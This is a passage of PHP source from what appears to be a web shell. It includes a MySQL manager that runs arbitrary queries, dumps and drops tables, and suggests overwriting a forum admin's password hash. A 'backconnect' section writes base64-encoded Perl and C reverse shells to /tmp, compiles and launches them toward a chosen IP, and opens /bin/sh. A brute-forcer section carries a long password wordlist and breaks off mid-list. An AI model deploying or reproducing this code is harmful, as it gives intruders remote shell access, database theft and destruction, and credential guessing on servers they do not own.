				$mysqldata = '';
				while ($currow = mysql_fetch_array($result)) {
					if (isset($table[$currow[0]])) {
						sqldumptable($currow[0], $fp);
					}
				}
				fclose($fp);
				$fileurl = str_replace(SA_ROOT,'',$path);
				m('Database sukses backup ke <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
				mysql_close();
			} else {
				m('Backup gagal');
			}
		}
	}
	if ($insert && $insertsql) {
		$keystr = $valstr = $tmp = '';
		foreach($insertsql as $key => $val) {
			if ($val) {
				$keystr .= $tmp.$key;
				$valstr .= $tmp."'".addslashes($val)."'";
				$tmp = ',';
			}
		}
		if ($keystr && $valstr) {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of sukses' : mysql_error());
		}
	}
	if ($update && $insertsql && $base64) {
		$valstr = $tmp = '';
		foreach($insertsql as $key => $val) {
			$valstr .= $tmp.$key."='".addslashes($val)."'";
			$tmp = ',';
		}
		if ($valstr) {
			$where = base64_decode($base64);
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
		}
	}
	if ($doing == 'del' && $base64) {
		$where = base64_decode($base64);
		$delete_sql = "DELETE FROM $tablename WHERE $where";
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of sukses' : mysql_error());
	}

	if ($tablename && $doing == 'drop') {
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		if (q("DROP TABLE $tablename")) {
			m('Drop table of sukses');
			$tablename = '';
		} else {
			m(mysql_error());
		}
	}

	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');

	formhead(array('title'=>'MYSQL Manager'));
	makehide('action','sqladmin');
	p('<p>');
	p('DBHost:');
	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
	p(':');
	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
	p('DBUser:');
	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
	p('DBPass:');
	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
	p('DBCharset:');
	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
	makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
	if (action == 'del') {
		if (!confirm('Is or isn\'t deletion record?')) return;
	}
	$('recordlist').doing.value=action;
	$('recordlist').base64.value=base64;
	$('recordlist').tablename.value=tablename;
	$('recordlist').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$('setdbname').dbname.value=dbname;
	$('setdbname').submit();
}
function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$('settable').doing.value=doing;
	}
	if (page) {
		$('settable').page.value=page;
	}
	$('settable').tablename.value=tablename;
	$('settable').submit();
}
</script>
<?php
	// SQL
	formhead(array('name'=>'recordlist'));
	makehide('doing');
	makehide('action','sqladmin');
	makehide('base64');
	makehide('tablename');
	p($dbform);
	formfoot();

	// Data
	formhead(array('name'=>'setdbname'));
	makehide('action','sqladmin');
	p($dbform);
	if (!$dbname) {
		makehide('dbname');
	}
	formfoot();


	formhead(array('name'=>'settable'));
	makehide('action','sqladmin');
	p($dbform);
	makehide('tablename');
	makehide('page',$page);
	makehide('doing');
	formfoot();

	$cachetables = array();
	$pagenum = 30;
	$page = intval($page);
	if($page) {
		$start_limit = ($page - 1) * $pagenum;
	} else {
		$start_limit = 0;
		$page = 1;
	}
	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		// get mysql server
		$mysqlver = mysql_get_server_info();
		p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
		$highver = $mysqlver > '4.1' ? 1 : 0;

		// Show database
		$query = q("SHOW DATABASES");
		$dbs = array();
		$dbs[] = '-- pilih database --';
		while($db = mysql_fetch_array($query)) {
			$dbs[$db['Database']] = $db['Database'];
		}
		makeselect(array('title'=>'tulung pilih database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
		$tabledb = array();
		if ($dbname) {
			p('<p>');
			p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
			if ($tablename) {
				p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
			}
			p('</p>');
			mysql_select_db($dbname);

			$getnumsql = '';
			$runquery = 0;
			if ($sql_query) {
				$runquery = 1;
			}
			$allowedit = 0;
			if ($tablename && !$sql_query) {
				$sql_query = "SELECT * FROM $tablename";
				$getnumsql = $sql_query;
				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
				$allowedit = 1;
			}
			p('<form action="'.$self.'" method="POST">');
			p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
			</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
			makehide('tablename', $tablename);
			makehide('action','sqladmin');
			p($dbform);
			p('</form>');
			if ($tablename || ($runquery && $sql_query)) {
				if ($doing == 'structure') {
					$result = q("SHOW COLUMNS FROM $tablename");
					$rowdb = array();
					while($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					p('<table border="0" cellpadding="3" cellspacing="0">');
					p('<tr class="head">');
					p('<td>Field</td>');
					p('<td>Type</td>');
					p('<td>Null</td>');
					p('<td>Key</td>');
					p('<td>Default</td>');
					p('<td>Extra</td>');
					p('</tr>');
					foreach ($rowdb as $row) {
						$thisbg = bg();
						p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
						p('<td>'.$row['Field'].'</td>');
						p('<td>'.$row['Type'].'</td>');
						p('<td>'.$row['Null'].'&nbsp;</td>');
						p('<td>'.$row['Key'].'&nbsp;</td>');
						p('<td>'.$row['Default'].'&nbsp;</td>');
						p('<td>'.$row['Extra'].'&nbsp;</td>');
						p('</tr>');
					}
					tbfoot();
				} elseif ($doing == 'insert' || $doing == 'edit') {
					$result = q('SHOW COLUMNS FROM '.$tablename);
					while ($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					$rs = array();
					if ($doing == 'insert') {
						p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
					} else {
						p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
						$where = base64_decode($base64);
						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
						$rs = mysql_fetch_array($result);
					}
					p('<form method="post" action="'.$self.'">');
					p($dbform);
					makehide('action','sqladmin');
					makehide('tablename',$tablename);
					p('<table border="0" cellpadding="3" cellspacing="0">');
					foreach ($rowdb as $row) {
						if ($rs[$row['Field']]) {
							$value = htmlspecialchars($rs[$row['Field']]);
						} else {
							$value = '';
						}
						$thisbg = bg();
						p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
						p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
					}
					if ($doing == 'insert') {
						p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
					} else {
						p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
						makehide('base64', $base64);
					}
					p('</table></form>');
				} else {
					$querys = @explode(';',$sql_query);
					foreach($querys as $num=>$query) {
						if ($query) {
							p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
							switch(qy($query))
							{
								case 0:
									p('<h2>Error : '.mysql_error().'</h2>');
									break;
								case 1:
									if (strtolower(substr($query,0,13)) == 'select * from') {
										$allowedit = 1;
									}
									if ($getnumsql) {
										$tatol = mysql_num_rows(q($getnumsql));
										$multipage = multi($tatol, $pagenum, $page, $tablename);
									}
									if (!$tablename) {
										$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
										$tablename = $matches[1][0];
									}
									$result = q($query);
									p($multipage);
									p('<table border="0" cellpadding="3" cellspacing="0">');
									p('<tr class="head">');
									if ($allowedit) p('<td>Action</td>');
									$fieldnum = @mysql_num_fields($result);
									for($i=0;$i<$fieldnum;$i++){
										$name = @mysql_field_name($result, $i);
										$type = @mysql_field_type($result, $i);
										$len = @mysql_field_len($result, $i);
										p("<td nowrap>$name<br><span>$type($len)</span></td>");
									}
									p('</tr>');
									while($mn = @mysql_fetch_assoc($result)){
										$thisbg = bg();
										p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
										$where = $tmp = $b1 = '';
										foreach($mn as $key=>$inside){
											if ($inside) {
												$where .= $tmp.$key."='".addslashes($inside)."'";
												$tmp = ' AND ';
											}
											$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
										}
										$where = base64_encode($where);
										if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
										p($b1);
										p('</tr>');
										unset($b1);
									}
									tbfoot();
									p($multipage);
									break;
								case 2:
									$ar = mysql_affected_rows();
									p('<h2>affected rows : <b>'.$ar.'</b></h2>');
									break;
							}
						}
					}
				}
			} else {
				$query = q("SHOW TABLE STATUS");
				$table_num = $table_rows = $data_size = 0;
				$tabledb = array();
				while($table = mysql_fetch_array($query)) {
					$data_size = $data_size + $table['Data_length'];
					$table_rows = $table_rows + $table['Rows'];
					$table['Data_length'] = sizecount($table['Data_length']);
					$table_num++;
					$tabledb[] = $table;
				}
				$data_size = sizecount($data_size);
				unset($table);
				p('<table border="0" cellpadding="0" cellspacing="0">');
				p('<form action="'.$self.'" method="POST">');
				makehide('action','sqladmin');
				p($dbform);
				p('<tr class="head">');
				p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
				p('<td>Name</td>');
				p('<td>Rows</td>');
				p('<td>Data_length</td>');
				p('<td>Create_time</td>');
				p('<td>Update_time</td>');
				if ($highver) {
					p('<td>Engine</td>');
					p('<td>Collation</td>');
				}
				p('</tr>');
				foreach ($tabledb as $key => $table) {
					$thisbg = bg();
					p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
					p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
					p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
					p('<td>'.$table['Rows'].'</td>');
					p('<td>'.$table['Data_length'].'</td>');
					p('<td>'.$table['Create_time'].'</td>');
					p('<td>'.$table['Update_time'].'</td>');
					if ($highver) {
						p('<td>'.$table['Engine'].'</td>');
						p('<td>'.$table['Collation'].'</td>');
					}
					p('</tr>');
				}
				p('<tr class=fout>');
				p('<td>&nbsp;</td>');
				p('<td>Total tables: '.$table_num.'</td>');
				p('<td>'.$table_rows.'</td>');
				p('<td>'.$data_size.'</td>');
				p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
				p('</tr>');

				p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
				makehide('doing','backupmysql');
				formfoot();
				p("</table>");
				fr($query);
			}
		}
	}
	tbfoot();
	@mysql_close();
}//end sql backup


elseif ($action == 'backconnect') {
	!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
	!$yourport && $yourport = '12345';
	$usedb = array('perl'=>'perl','c'=>'c');

	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

	if ($start && $yourip && $yourport && $use){
		if ($use == 'perl') {
			cf('/tmp/angel_bc',$back_connect);
			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
		} else {
			cf('/tmp/angel_bc.c',$back_connect_c);
			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
			@unlink('/tmp/angel_bc.c');
			$res = execute("/tmp/angel_bc $yourip $yourport &");
		}
		m("Now script try connect to $yourip port $yourport ...");
	}

	formhead(array('title'=>'Back Connect'));
	makehide('action','backconnect');
	p('<p>');
	p('Your IP:');
	makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
	p('Your Port:');
	makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
	p('Use:');
	makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
	makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();
}//end backconnect window via NC

// Brute
elseif ($action == 'brute') {
formhead(array('title'=>'Brute Forcer'));
	makehide('action','brute');
	makehide('dir',$brute);
@ini_set('memory_limit', 1000000000000);
$connect_timeout=5;
@set_time_limit(0);
$submit = $_REQUEST['submit'];
$users = $_REQUEST['users'];
$pass = $_REQUEST['passwords'];
$target = $_REQUEST['target'];
$option = $_REQUEST['option'];


$passlist = "0123456
01234567
012345678
0123456789
01234567890
123456
1234567
12345678
123456789
1234567890
111111
000000
222222
333333
444444
555555
666666
777777
888888
999999
123123
456456
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin
administrator
admincp
cpanel
adminx
admins
password
passwords
passw0rd
p@ssw0rd
p@ssword
khongco
25251325
123123123123
admin123456
!root
0
0000
000000
00000000
000007
0007
007007
0311
0660
098765
1
100000
1002
1007
1008
1010
101010
1011
1013
1020
1023
1024
1026
1031
111
1111
11111
111111
11111111
111222
1122
112233
12
1209
1212
121212
1213
1218
1221
1223
1224
1225
1227
123
1230
123123
1234
12345
123456
1234567
12345678
123456789
1234admin
123abc
123go
1313
131313
1357
1369
1414
1492
1515
1660
1701
1717
1818
181818
1919
191919
1941
1943
1946
1951
1954
1955
1956
1957
1958
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1979
1980
1984
1998
1999
1q2w3e
2
2000
2001
2002
2020
2112
21122112
2121
212121
2222
22222
222222
2323
232323
2345
2424
242424
2468
246810
2469
2525
252525
2727
2828
3
3006
313131
321
3232
323232
3333
343434
4128
420420
4321
4444
444444
4545
454545
4711
4989
4runner
5150
5252
54321
5555
55555
555555
5678
654321
6666
666666
6969
696969
69696969
7777
77777
777777
7777777
77777777
789456
8675309
87654321
8888
888888
88888888
9876
98765
987654
9898
9999
999999
ADMIN
ANTONIO
Admin
Administator
BELLA
BOAT
BRETT
Bubba
CHICKEN
COWBOY
CYNTHIA
Champ
Demo
Dope
EAGLE1
FUNNY
GIGI
Great
Horny1
Howard
Jackson
Julie
Justin
KISS
Lauren
Linda
Manager
Maurice
Mine
Mistee
Monday
PASSWORD
PAUL
PENNY
POWERS
Pookie
Qwerty
Rachel
Rams
Raptor
Ronald
SMILE
SPANKY
Sailor
Scooby
Shelly
Stone
TEST
TRUMPET
Virginia
Webb
Williams
aaa
aaaa
aaaaaa
aardvark
aaron
abby
abc123
abcd
abcde
abcdef
abcdefg
abcdefgh
abd234
abgrtyu
access
access14
accord
action
adam
adidas
adm
admin
administator
admn
adrian
again
aggies
airborne
airbus
airforce
airplane
alabama
alan
alaska
albert
albert
alex
alexande
alexis
alfred
alice
alicia
alison
allen
allison
alpha
alpha1
alyssa
amadeus
amanda
amateur
amber
america
anal
analsex
anderson
andrea
andrew
andy
angel
angela
angels
angie
animal
anita
anna
anne
annie
anthony
apache
apollo
apple
apples
april
aragorn
archer
arizona
arlene
arnold
arrow
arsenal
arthur
asdf
asdfg
asdfgh
asdfghjk
ashley
ass
asses
asshole
assman
astros
athena
atlanta
audi
audrey
august
austin
avalon
avatar
azer
azerty
babe
babes
babies
baby
babylon
back
backdoor
backup
badbad
badboy
badger
bailey
baker
ball
balls
bambam
banana
bandit
bank
banshee
barbara
barbie
barkley
barney
baron
barry
bart
base
baseball
basket
bass
bastard
batman
baxter
bbbb
bbbbbb
beach
beagle
bean
bear
bears
beast
beatles
beauty
beaver
beavis
becky
beer
beetle
bell
belle
benjamin
bennett
bennie
berlin
bernard
bernie
bertha
beta
beth
bethany
betty
beverly
bigboy
bigcock
bigd
bigdaddy
bigdick
bigdog
bigfoot
bigguy
bigmac
bigman
bigone
bigred
bigtits
bike
biker
bilbo
bill
billy
bingo
binky
bird
birdie
bishop
bitch
bitch1
bitchass
bitches
bite
biteme
bla
black
blade
blades
blah
blahblah
blank
blaster
blazer
blonde
blondes
blondie
blow
blowjob
blowme
blue
bluebird
bluemoon
blues
bluesky
bob
bobafett
bobbob
bobby
bobcat
bobo
bobobo
boeing
bollocks
bomber
bond
bond007
bone
boner
bones
bongo
bonnie
boobies
booboo
boobs
booger
boogie
boomer
boots
booty
boris
bosco
bosco1
boss
boston
bottle
bottom
bowler
boy
boys
bozo
brad
bradley
brandon
brandy
braves
brazil
breast
brenda
brendan
brent
brian
bridge
brittany
bronco
broncos
brooke
brooks
brother
brown
browns
bruce
bruins
bruno
brutus
bryan
bubba
bubba1
bubble
bubbles
buck
buckeye
budd
buddha
buddy
buddy1
budman
buffalo
buffett
buffy
bugger
bull
bulldog
bullet
bullseye
bullshit
bunny
burger
burton
bush
buster
butch
butt
butter
butthead
buzz
byteme
caca
cactus
caesar
caligula
calvin
camaro
camel
camera
camero
cameron
canada
candy
cannon
canon
capital
captain
card
cardinal
carlos
carmen
carol
carolina
caroline
carolyn
carpet
carrie
carter
cartman
case
casey
cash
casino
casper
cassie
castle
cat
catfish
cats
cavalier
caveman
cazzo
cccc
cccccc
celtic
center
central
century
cessna
chacha
chad
champs
chance
chandler
chaos
charles
charlie
chas
chase
check
cheese
chef
chelsea
cherokee
cherry
cheryl
chess
chester
chevelle
chevy
chicago
chicken
chicks
chief
chiefs
china
chip
chipper
chloe
chopin
chopper
chris
christin
christy
chubby
chuck
chuckles
cigar
cindy
cisco
city
civic
claire
clancy
classic
claudia
clay
clayton
climax
clinton
clit
clover
clown
club
clyde
coach
cobra
cocacola
cock
coco
coconut
code
cody
coffee
cohiba
coke
cola
cold
cole
colleen
college
colorado
colt45
columbia
compaq
computer
condom
condor
connect
connie
connor
control
cookie
cookie123
cookies
cool
cooler
cooper
coors
copper
core
corona
correct
corvette
cosmo
cosmos
cotton
cougar
country
courtney
cowboy
cowboys
coyote
craig
crap
crash
crazy
cream
creative
crew
cricket
crow
cruise
crunch
crystal
cubs
cujo
cum
cumming
cumshot
cunt
curious
curtis
cutter
cyber
cypress
daddy
dagger
daisy
dakota
dale
dallas
dana
dance
dancer
daniel
danielle
danny
darkstar
darren
data
database
dave
david
david1
davids
davidson
davis
dawg
dawn
day
dddd
dddddd
dead
dean
death
debbie
deborah
december
deedee
deer
default
delphi
delta
demo
demon
denali
denise
dennis
denver
derf
desert
design
desire
destiny
devil
devils
dexter
diablo
diamond
diana
dick
dickhead
dicky
diesel
digger
digital
dilbert
dildo
dino
director
dirt
dirty
discover
disney
diver
doctor
dodge
dodger
dodgers
dog
dogboy
dogdog
dogg
doggie
doggy
dogman
dogs
dollar
dollars
dolly
dolphin
dolphins
domino
donald
dong
donkey
donna
donnie
doobie
doodle
doogie
dorothy
doug
douglas
down
dragon
dragons
draven
dream
dreamer
dreams
drew
drive
driver
drizzt
drowssap
drum
drummer
drummer1
drums
ducati
duck
dude
dudley
duke
dumb
duncan
dusty
dutch
dwight
dylan
eagle
eagle1
eagles
easy
eatdirt
eatme
eclipse
eddie
eddy
edward
eeeeee
eileen
einstein
elaine
electric
elephant
elvis
elwood
emerald
emily
empire
energy
engine
engineer
enigma
enjoy
enter
eric
ernest
erotic
escape
escort
eugene
evil
excel
exodus
explorer
express
extreme
fabian
face
faith
falcon
family
fantasy
farm
farmer
farside
fart
fast
faster
fatboy
father
fatman
feet
felix
fender
fenris
ferrari
ferret
fetish
ffffff
ficken
fiction
field
filter
finger
fire
firebird
fireman
fish
fisher
fishes
fishing
fitness
fitz
five
flash
flipper
florence
florida
flower
flowers
floyd
fluffy
flyboy
flyers
flying
foobar
foot
football
force
ford
forest
forever
formula
four
france
francis
franco
frank
frank1
frankie
franklin
freak
freaky
fred
freddie
freddy
fredfred
free
freedom
freeman
french
friday
friend
friends
fright
fritz
frodo
frog
frogger
froggy
fubar
fubar1
****
fucked
fucker
fucking
fuckit
fuckme
fuckyou
fuckyou1
funtime
future
fuzzy
galaxy
gandalf
garcia
garden
garfield
garion
gary
gateway
gator
gators
geheim
gemini
gene
geneer
general
genesis
george
gerald
gerard
gerrit
gggg
ghost
giants
gibson
gilbert
ginger
girl
girls
gizmo
glider
gloria
goal
goat
goblue
god
godzilla
goforit
gogo
gold
goldberg
golden
goldie
golf
golfball
golfer
golfer1
gonzo
goober
good
goofy
goose
gordon
gorilla
grace
gracie
graham
grant
great
green
greene
greens
greg
gregory
griffey
grover
grumpy
guest
guinness
guitar
gunner
gunther
guru
guy
hack
hacked
hacker
hahaha
hairy
hallo
hambone
hamilton
hamlet
hammer
hannah
102030
hans
hansolo
happy
happy1
hard
hardcore
harder
hardon
harley
harris
harrison
harry
harvey
hastings
hate
hawaii
hawk
hawkeye
head
hearts
heat
heather
heaven
hector
heidi
helena
hell
hello
hello1
helmet
help
helpme
hendrix
henry
hentai
herbert
herbie
here
herman
hermes
hhhh
hhhhhh
hide
high
highland
hill
hiphop
hiro
history
hithere
hitman
hobbes
hockey
holden
holland
holly
holmes
home
homer
homers
homerun
honda
honey
hooker
hoops
hooter
hooters
hoover
hope
hopeless
hopper
horndog
hornet
horney
horns
horny
horse
horses
hose
hotdog
hotmail
hotrod
hotsex
hott
hound
house
houston
hudson
hummer
hung
hunt
hunter
hunting
husker
huskers
ib6ub9
iceman
iforgot
iguana
illini
iloveyou
iloveyou1
impala
in
indian
indiana
indians
infantry
infinity
ingrid
insane
inside
integra
internet
intrepid
ireland
irish
ironman
island
iwantu
jack
jackie
jackoff
jackson
jacques
jade
jaguar
jake
jam
james
james1
jamie
jammer
jane
janet
japan
jasmine
jason
jasper
java
jazz
jean
jedi
jeep
jeeper
jeff
jeffrey
jenn
jennifer
jenny
jenny1
jeremy
jerk
jerome
jerry
jersey
jesse
jessica
jessie
jester
jesus
jets
jetski
jill
jimbo
jimmy
jjjj
jjjjjj
joanne
joe
joey
john
johnny
johnson
jojo
joker
jonathan
jones
jordan
jose
joseph
josh
joshua
juan
judy
juice
juke
julia
julian
julius
jumbo
jump
june
jungle
junior
junk
jupiter
justice
justin
justme
kahuna
kaiser
karen
katana
kathleen
10203010
kathy
katie
kato
keeper
keith
kelly
kenneth
kenny
kent
kermit
kevin
khan
kick
kickass
kiki
killer
kimberly
king
kingdom
kings
kirk
kissme
kitten
kitty
kiwi
kkkk
kkkkkk
knicks
knight
kodiak
kong
kool
korn
kramer
kris
kristin
kyle
ladies
lady
lagnaf
lakers
lance
lancer
land
lane
larry
last
lasvegas
laura
lauren
laurie
lawyer
leather
lee
legend
leon
leonard
leslie
lestat
lester
letmein
lewis
liberty
lick
licker
lickit
lickme
life
light
lights
lincoln
lion
lionel
lips
liquid
lisa
lisalisa
little
live
lizard
lkjh
lobo
lock
lockheed
loco
logan
login
lolita
lolo
london
lonely
long
longhorn
look
looker
looking
lord
lori
loser
lotus
louise
love
loveme
lover
lovers
lucifer
luck
lucky
lucky1
lucky7
lucy
ludwig
luke
lulu
luna
lust
machine
mack
maddog
madison
madmax
madonna
maggie
magic
magnet
magnolia
magnum
magnus
maiden
mail
mailman
malibu
mallard
mama
man
manager
mandy
mann
manson
marc
marcel
marco
marcus
margaret
mari
maria
marie
marina
marine
marines
marino
mario
marion
mark
markus
marlboro
marley
marlin
mars
marshall
martha
martin
marvin
mary
maryjane
master
master1
masters
matrix
matt
matthew
mature
maureen
maverick
max
maxi
maxima
maxine
maxwell
maxx
mayhem
me
meat
meathead
medic
megan
melanie
melissa
member
meow
mercedes
mercury
merlin
mets
mexico
micha
michael
michel
michele
michelle
michigan
mick
mickey
midnight
miguel
mike
mikey
miles
mill
miller
milton
mimi
mine
minnie
mirage
miranda
miss4you
missy
mister
mistress
misty
mitch
mmmm
mmmmmm
mnbvcxz
mobile
mojo
molly
molly1
momo
mona
money
money1
monica
monitor
monkey
monroe
monster
montana
mookie
moon
moore
moose
mooses
more
morgan
morris
mother
mountain
mouse
movie
mozart
muffin
mulder
murphy
murray
muscle
music
music1
mustang
nadine
naked
nana
nancy
nascar
nasty
natalie
natasha
nathan
natural
naughty
ncc1701
nelson
nemesis
neo
neon
network
newman
newpass
newton
newuser
newyork
nice
nicholas
nick
nico
nicola
nicolas
nicole
night
nikki
nina
nine
ninja
nipple
nipples
nirvana
nissan
nitram
nitro
no
nobody
none
nopassword
nope
norman
north
norton
nothing
nova
november
now
nude
nudist
nugget
nurse
nuts
oakley
october
ohyeah
older
oldman
oliver
olivia
omega
one
online
ontario
open
openup
operator
opus
orange
oranges
orchid
orion
